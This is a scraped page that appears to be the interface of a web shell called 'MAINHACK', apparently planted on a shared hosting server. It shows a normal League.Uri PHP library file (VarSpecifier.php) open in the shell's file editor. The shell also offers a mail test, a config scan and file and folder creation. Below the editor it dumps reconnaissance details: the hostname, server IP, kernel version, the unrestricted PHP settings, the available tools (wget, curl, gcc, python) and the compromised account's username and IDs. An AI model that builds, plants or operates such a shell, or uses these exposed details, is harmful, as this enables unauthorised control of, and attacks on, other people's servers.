[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: VarSpecifier.php
<?php /** * League.Uri (https://uri.thephpleague.com) * * (c) Ignace Nyamagana Butera <nyamsprod@gmail.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ declare(strict_types=1); namespace League\Uri\UriTemplate; use League\Uri\Exceptions\SyntaxError; use function preg_match; /** * @internal The class exposes the internal representation of a Var Specifier * @link https://www.rfc-editor.org/rfc/rfc6570#section-2.3 */ final class VarSpecifier { /** * Variables specification regular expression pattern. * * @link https://tools.ietf.org/html/rfc6570#section-2.3 */ private const REGEXP_VARSPEC = '/^(?<name>(?:[A-z0-9_\.]|%[0-9a-fA-F]{2})+)(?<modifier>\:(?<position>\d+)|\*)?$/'; private const MODIFIER_POSITION_MAX_POSITION = 10_000; private function __construct( public readonly string $name, public readonly string $modifier, public readonly int $position ) { } public static function new(string $specification): self { if (1 !== preg_match(self::REGEXP_VARSPEC, $specification, $parsed)) { throw new SyntaxError('The variable specification "'.$specification.'" is invalid.'); } $properties = ['name' => $parsed['name'], 'modifier' => $parsed['modifier'] ?? '', 'position' => $parsed['position'] ?? '']; if ('' !== $properties['position']) { $properties['position'] = (int) $properties['position']; $properties['modifier'] = ':'; } if ('' === $properties['position']) { $properties['position'] = 0; } if (self::MODIFIER_POSITION_MAX_POSITION <= $properties['position']) { throw new SyntaxError('The variable specification "'.$specification.'" is invalid the position modifier must be lower than 10000.'); } return new self($properties['name'], $properties['modifier'], $properties['position']); } public function toString(): string { return $this->name.$this->modifier.match (true) { 0 < $this->position => $this->position, default => '', }; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285